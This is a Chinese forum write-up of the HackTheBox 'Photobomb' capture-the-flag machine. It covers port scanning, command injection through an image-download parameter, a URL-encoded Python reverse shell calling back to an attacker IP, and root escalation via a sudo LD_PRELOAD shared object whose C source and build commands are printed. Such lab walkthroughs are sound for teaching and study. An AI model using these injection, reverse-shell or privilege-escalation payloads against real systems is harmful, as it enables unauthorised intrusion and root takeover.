-
-
[原创]HTB Photobomb wp (easy)
-
发表于: 2022-11-20 16:46 919
-
参考文章:
https://meowmeowattack.wordpress.com/2022/10/09/hackthebox-htb-writeup-photobomb/
https://0xdedinfosec.vercel.app/blog/hackthebox-photobomb-writeup
或(要vim /etc/hosts)
发现账号密码pH0t0:b0Mb!
登陆后发现可以下载图片,使用bp捕获请求并尝试注入
不知道那个参数注入会有效,先开启本地服务
photo和dimensions参数注入会返回Invalid dimensions.
filetype参数注入有效
使用python反向shell并对其进行url编码
使用sudo -l,看到有可以sudo运行的脚本cleanup.sh
两种提权的方法
1
LD_PRELOAD可以用 sudo 调用
详情参考:
https://forum.butian.net/index.php/share/1493
编译并上传到目标
cat /root/root.txt获得 flag
2(第二种方法没太懂,希望有大佬看见能指点一下,第二种方法应该为SUID提权,详情请看https://www.freebuf.com/articles/web/272617.html)
脚本的内容是straight forward,它只是获取日志文件并将其内容移入photobomb.log.old,然后使用截断清除photobomb.log为 0 字节
但如果你发现clearly它absolute path(绝对路径)不像 cd 那样使用,发现我们可以利用它和traverse the path那个binaries
只需/bin/bash在 cd 文件中添加并赋予读、写、执行权限
我还创建了查找文件,因为如果失败了,我们必须backup将 shell 作为root
现在只需使用sudo权限运行该文件并将目录设置PATH为/temp
nmap
-
sC
-
sV
-
oA nmap
/
result
10.10
.
11.182
nmap
-
sC
-
sV
-
oA nmap
/
result
10.10
.
11.182
rustscan photobomb.htb
-
r
1
-
65535
rustscan photobomb.htb
-
r
1
-
65535
python3
-
m http.server
80
python3
-
m http.server
80
photo
=
voicu
-
apostol
-
MWER49YaD
-
M
-
unsplash.jpg&filetype
=
png;curl
+
10.10
.XX.XX
/
dedsec&dimensions
=
3000x2000
photo
=
voicu
-
apostol
-
MWER49YaD
-
M
-
unsplash.jpg&filetype
=
png;curl
+
10.10
.XX.XX
/
dedsec&dimensions
=
3000x2000
photo
=
voicu
-
apostol
-
MWER49YaD
-
M
-
unsplash.jpg&filetype
=
png
%
3bexport
+
RHOST
%
3d
"10.10.XX.XX"
%
3bexport
+
RPORT
%
3d9001
%
3bpython3
+
-
c
+
'import+sys,socket,os,pty%3bs%3dsocket.socket()%3bs.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))%3b[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)]%3bpty.spawn("sh")'
&dimensions
=
3000x2000
photo
=
voicu
-
apostol
-
MWER49YaD
-
M
-
unsplash.jpg&filetype
=
png
%
3bexport
+
RHOST
%
3d
"10.10.XX.XX"
%
3bexport
+
RPORT
%
3d9001
%
3bpython3
+
-
c
+
'import+sys,socket,os,pty%3bs%3dsocket.socket()%3bs.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))%3b[os.dup2(s.fileno(),fd)+for+fd+in+(0,1,2)]%3bpty.spawn("sh")'
&dimensions
=
3000x2000
sudo
-
l
Matching Defaults entries
for
wizard on photobomb:
env_reset, mail_badpass,
secure_path
=
/
usr
/
local
/
sbin\:
/
usr
/
local
/
bin
\:
/
usr
/
sbin\:
/
usr
/
bin
\:
/
sbin\:
/
bin
\:
/
snap
/
bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD:
/
opt
/
cleanup.sh
sudo
-
l
Matching Defaults entries
for
wizard on photobomb:
env_reset, mail_badpass,
secure_path
=
/
usr
/
local
/
sbin\:
/
usr
/
local
/
bin
\:
/
usr
/
sbin\:
/
usr
/
bin
\:
/
sbin\:
/
bin
\:
/
snap
/
bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD:
/
opt
/
cleanup.sh
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv(
"LD_PRELOAD"
);
setgid(
0
);
setuid(
0
);
system(
"/usr/bin/bash"
);
}
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv(
"LD_PRELOAD"
);
setgid(
0
);
setuid(
0
);
system(
"/usr/bin/bash"
);
}
gcc
-
fPIC
-
shared
-
o shell.so shell.c
-
nostartfiles
gcc
-
fPIC
-
shared
-
o shell.so shell.c
-
nostartfiles
sudo LD_PRELOAD
=
/
home
/
wizard
/
shell.so
/
opt
/
cleanup.sh
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!